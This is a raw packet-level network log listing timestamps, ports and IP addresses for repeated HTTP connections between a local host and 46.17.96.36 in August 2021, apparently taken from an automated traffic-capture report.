Aug 29, 2021 22:27:15.816751957 CEST	80	49751	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:15.816796064 CEST	80	49751	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:15.817011118 CEST	80	49751	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:15.817188025 CEST	80	49751	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:15.817220926 CEST	80	49751	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:15.854780912 CEST	80	49751	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:15.855001926 CEST	49751	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:16.064276934 CEST	49751	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:16.065401077 CEST	49752	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:16.099826097 CEST	80	49751	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:16.100016117 CEST	49751	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:16.100061893 CEST	80	49752	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:16.100368977 CEST	49752	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:16.101324081 CEST	49752	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:16.101604939 CEST	49752	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:16.101866961 CEST	49752	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:16.102020025 CEST	49752	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:16.136161089 CEST	80	49752	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:16.136207104 CEST	80	49752	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:16.136503935 CEST	80	49752	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:16.136542082 CEST	80	49752	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:16.136598110 CEST	49752	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:16.136637926 CEST	49752	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:16.136661053 CEST	80	49752	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:16.136723042 CEST	49752	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:16.136775017 CEST	80	49752	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:16.136800051 CEST	80	49752	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:16.136852980 CEST	49752	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:16.136887074 CEST	49752	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:16.136960030 CEST	80	49752	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:16.137051105 CEST	49752	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:16.171766043 CEST	80	49752	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:16.171816111 CEST	80	49752	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:16.171842098 CEST	80	49752	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:16.171897888 CEST	49752	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:16.171928883 CEST	49752	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:16.171981096 CEST	80	49752	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:16.172007084 CEST	80	49752	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:16.172029018 CEST	80	49752	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:16.172053099 CEST	49752	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:16.172086000 CEST	49752	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:16.172133923 CEST	49752	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:16.172188997 CEST	80	49752	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:16.172207117 CEST	80	49752	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:16.172218084 CEST	80	49752	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:16.172251940 CEST	49752	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:16.172293901 CEST	49752	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:16.207096100 CEST	80	49752	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:16.207128048 CEST	80	49752	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:16.207139969 CEST	80	49752	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:16.207201958 CEST	80	49752	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:16.207241058 CEST	49752	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:16.207278013 CEST	80	49752	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:16.207295895 CEST	49752	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:16.207318068 CEST	80	49752	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:16.207325935 CEST	49752	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:16.207340002 CEST	80	49752	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:16.207392931 CEST	80	49752	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:16.207581043 CEST	80	49752	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:16.207593918 CEST	80	49752	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:16.207767010 CEST	80	49752	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:16.207779884 CEST	80	49752	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:16.207921982 CEST	80	49752	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:16.242275953 CEST	80	49752	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:16.242363930 CEST	80	49752	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:16.242415905 CEST	80	49752	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:16.242464066 CEST	80	49752	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:16.242520094 CEST	80	49752	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:16.280502081 CEST	80	49752	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:16.280751944 CEST	49752	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:16.495342970 CEST	49752	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:16.496700048 CEST	49753	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:16.531394005 CEST	80	49752	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:16.531737089 CEST	80	49753	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:16.531810999 CEST	49752	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:16.532705069 CEST	49753	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:16.533447981 CEST	49753	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:16.533713102 CEST	49753	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:16.534014940 CEST	49753	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:16.534387112 CEST	49753	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:16.568742990 CEST	80	49753	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:16.568866014 CEST	80	49753	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:16.568953991 CEST	80	49753	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:16.568975925 CEST	80	49753	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:16.568985939 CEST	80	49753	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:16.569087029 CEST	49753	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:16.569139004 CEST	49753	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:16.569183111 CEST	80	49753	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:16.569289923 CEST	49753	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:16.569559097 CEST	80	49753	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:16.569663048 CEST	49753	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:16.604393959 CEST	80	49753	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:16.604424953 CEST	80	49753	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:16.604439020 CEST	80	49753	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:16.604454041 CEST	80	49753	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:16.604614973 CEST	49753	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:16.604674101 CEST	49753	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:16.604806900 CEST	80	49753	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:16.604823112 CEST	80	49753	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:16.604959011 CEST	49753	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:16.640961885 CEST	80	49753	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:16.640993118 CEST	80	49753	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:16.641010046 CEST	80	49753	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:16.641019106 CEST	80	49753	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:16.641033888 CEST	80	49753	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:16.641046047 CEST	80	49753	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:16.641196012 CEST	80	49753	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:16.641253948 CEST	49753	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:16.641705990 CEST	80	49753	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:16.641771078 CEST	80	49753	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:16.641788006 CEST	80	49753	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:16.641928911 CEST	80	49753	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:16.676728010 CEST	80	49753	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:16.676753998 CEST	80	49753	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:16.719543934 CEST	80	49753	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:16.719799995 CEST	49753	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:16.949207067 CEST	49753	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:16.951334000 CEST	49754	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:16.985744953 CEST	80	49753	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:16.985893011 CEST	49753	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:16.987006903 CEST	80	49754	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:16.987142086 CEST	49754	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:16.987798929 CEST	49754	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:16.987987995 CEST	49754	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:16.988267899 CEST	49754	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:16.988599062 CEST	49754	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:17.022890091 CEST	80	49754	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.022919893 CEST	80	49754	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.023000002 CEST	80	49754	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.023015976 CEST	80	49754	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.023101091 CEST	80	49754	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.023124933 CEST	49754	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:17.023384094 CEST	49754	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:17.023442984 CEST	80	49754	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.023550987 CEST	49754	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:17.023612976 CEST	80	49754	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.023849964 CEST	49754	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:17.058373928 CEST	80	49754	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.058403015 CEST	80	49754	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.058418036 CEST	80	49754	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.058432102 CEST	80	49754	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.058450937 CEST	80	49754	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.058459044 CEST	49754	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:17.058510065 CEST	49754	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:17.058537006 CEST	49754	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:17.058577061 CEST	80	49754	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.058603048 CEST	49754	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:17.058623075 CEST	49754	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:17.058633089 CEST	49754	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:17.058789968 CEST	80	49754	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.058868885 CEST	49754	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:17.093427896 CEST	80	49754	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.093453884 CEST	80	49754	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.093586922 CEST	80	49754	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.093724966 CEST	49754	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:17.093794107 CEST	80	49754	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.093816042 CEST	80	49754	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.093947887 CEST	80	49754	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.093961954 CEST	80	49754	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.094032049 CEST	80	49754	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.094249010 CEST	80	49754	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.094264984 CEST	80	49754	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.128755093 CEST	80	49754	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.128786087 CEST	80	49754	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.128802061 CEST	80	49754	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.128957987 CEST	80	49754	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.168260098 CEST	80	49754	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.168353081 CEST	49754	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:17.357703924 CEST	49754	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:17.359164953 CEST	49755	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:17.392899990 CEST	80	49754	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.392987967 CEST	49754	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:17.394742012 CEST	80	49755	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.394884109 CEST	49755	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:17.395796061 CEST	49755	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:17.395904064 CEST	49755	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:17.396135092 CEST	49755	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:17.396259069 CEST	49755	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:17.431003094 CEST	80	49755	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.431021929 CEST	80	49755	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.431027889 CEST	80	49755	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.431039095 CEST	80	49755	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.431163073 CEST	49755	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:17.431174040 CEST	80	49755	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.431194067 CEST	80	49755	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.431210041 CEST	80	49755	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.431245089 CEST	49755	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:17.431271076 CEST	49755	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:17.466224909 CEST	80	49755	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.466254950 CEST	80	49755	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.466298103 CEST	80	49755	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.466311932 CEST	80	49755	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.466321945 CEST	80	49755	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.466422081 CEST	49755	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:17.466548920 CEST	49755	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:17.466558933 CEST	80	49755	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.466594934 CEST	49755	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:17.466725111 CEST	49755	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:17.466809034 CEST	49755	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:17.501743078 CEST	80	49755	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.501768112 CEST	80	49755	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.501784086 CEST	80	49755	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.501794100 CEST	80	49755	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.501856089 CEST	80	49755	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.501862049 CEST	49755	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:17.501876116 CEST	80	49755	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.501926899 CEST	49755	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:17.502131939 CEST	80	49755	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.502146959 CEST	80	49755	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.502229929 CEST	80	49755	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.502417088 CEST	80	49755	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.537046909 CEST	80	49755	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.537091970 CEST	80	49755	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.537112951 CEST	80	49755	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.537131071 CEST	80	49755	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.576267004 CEST	80	49755	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.576361895 CEST	49755	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:17.778379917 CEST	49755	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:17.779524088 CEST	49756	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:17.812009096 CEST	80	49756	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.812203884 CEST	49756	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:17.813080072 CEST	49756	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:17.813298941 CEST	49756	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:17.813594103 CEST	49756	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:17.813661098 CEST	80	49755	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.813764095 CEST	49755	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:17.813899994 CEST	49756	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:17.845381021 CEST	80	49756	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.845432997 CEST	80	49756	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.845777035 CEST	80	49756	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.845804930 CEST	80	49756	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.845825911 CEST	80	49756	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.845932007 CEST	80	49756	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.846045017 CEST	80	49756	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.846157074 CEST	49756	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:17.846234083 CEST	49756	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:17.878437042 CEST	80	49756	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.878458023 CEST	80	49756	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.878596067 CEST	80	49756	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.878633022 CEST	49756	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:17.878700972 CEST	49756	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:17.878739119 CEST	80	49756	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.878757000 CEST	80	49756	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.878817081 CEST	49756	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:17.878829956 CEST	80	49756	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.878940105 CEST	80	49756	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.879036903 CEST	49756	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:17.879224062 CEST	80	49756	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.879450083 CEST	49756	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:17.912421942 CEST	80	49756	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.912450075 CEST	80	49756	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.912460089 CEST	80	49756	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.912473917 CEST	80	49756	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.912487030 CEST	80	49756	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.912501097 CEST	80	49756	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.912517071 CEST	80	49756	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.912530899 CEST	80	49756	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.912544012 CEST	80	49756	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.912556887 CEST	80	49756	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.912764072 CEST	49756	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:17.945041895 CEST	80	49756	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.945066929 CEST	80	49756	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.945137978 CEST	80	49756	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.945415974 CEST	80	49756	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.985697985 CEST	80	49756	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:17.985897064 CEST	49756	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:18.474498987 CEST	49756	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:18.475471973 CEST	49757	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:18.506906033 CEST	80	49756	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:18.507060051 CEST	49756	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:18.507211924 CEST	80	49757	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:18.507378101 CEST	49757	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:18.509087086 CEST	49757	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:18.509524107 CEST	49757	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:18.509850979 CEST	49757	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:18.510364056 CEST	49757	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:18.540891886 CEST	80	49757	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:18.541147947 CEST	80	49757	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:18.541515112 CEST	80	49757	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:18.541537046 CEST	80	49757	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:18.541570902 CEST	80	49757	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:18.541722059 CEST	49757	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:18.541759968 CEST	80	49757	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:18.541934967 CEST	80	49757	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:18.542049885 CEST	49757	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:18.542093992 CEST	80	49757	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:18.542174101 CEST	49757	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:18.573713064 CEST	80	49757	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:18.573774099 CEST	80	49757	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:18.573810101 CEST	80	49757	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:18.573842049 CEST	80	49757	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:18.573854923 CEST	49757	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:18.573873997 CEST	80	49757	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:18.573883057 CEST	49757	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:18.573900938 CEST	49757	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:18.573906898 CEST	80	49757	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:18.574031115 CEST	49757	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:18.574038029 CEST	80	49757	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:18.574059010 CEST	49757	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:18.574074984 CEST	80	49757	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:18.574106932 CEST	80	49757	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:18.574140072 CEST	49757	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:18.574161053 CEST	49757	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:18.605798006 CEST	80	49757	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:18.605901957 CEST	80	49757	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:18.605945110 CEST	80	49757	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:18.606040001 CEST	80	49757	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:18.606065989 CEST	49757	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:18.606069088 CEST	80	49757	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:18.606458902 CEST	80	49757	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:18.606482983 CEST	80	49757	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:18.606497049 CEST	80	49757	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:18.606543064 CEST	49757	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:18.606549978 CEST	80	49757	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:18.606581926 CEST	49757	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:18.606592894 CEST	80	49757	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:18.606652975 CEST	80	49757	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:18.607063055 CEST	80	49757	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:18.607094049 CEST	80	49757	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:18.638309002 CEST	80	49757	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:18.638328075 CEST	80	49757	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:18.638338089 CEST	80	49757	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:18.638387918 CEST	80	49757	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:18.638400078 CEST	80	49757	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:18.676027060 CEST	80	49757	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:18.677638054 CEST	49757	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:19.087402105 CEST	49757	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:19.089693069 CEST	49758	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:19.119240046 CEST	80	49757	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:19.119321108 CEST	49757	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:19.126059055 CEST	80	49758	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:19.126187086 CEST	49758	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:19.126745939 CEST	49758	80	192.168.2.4	46.17.96.36
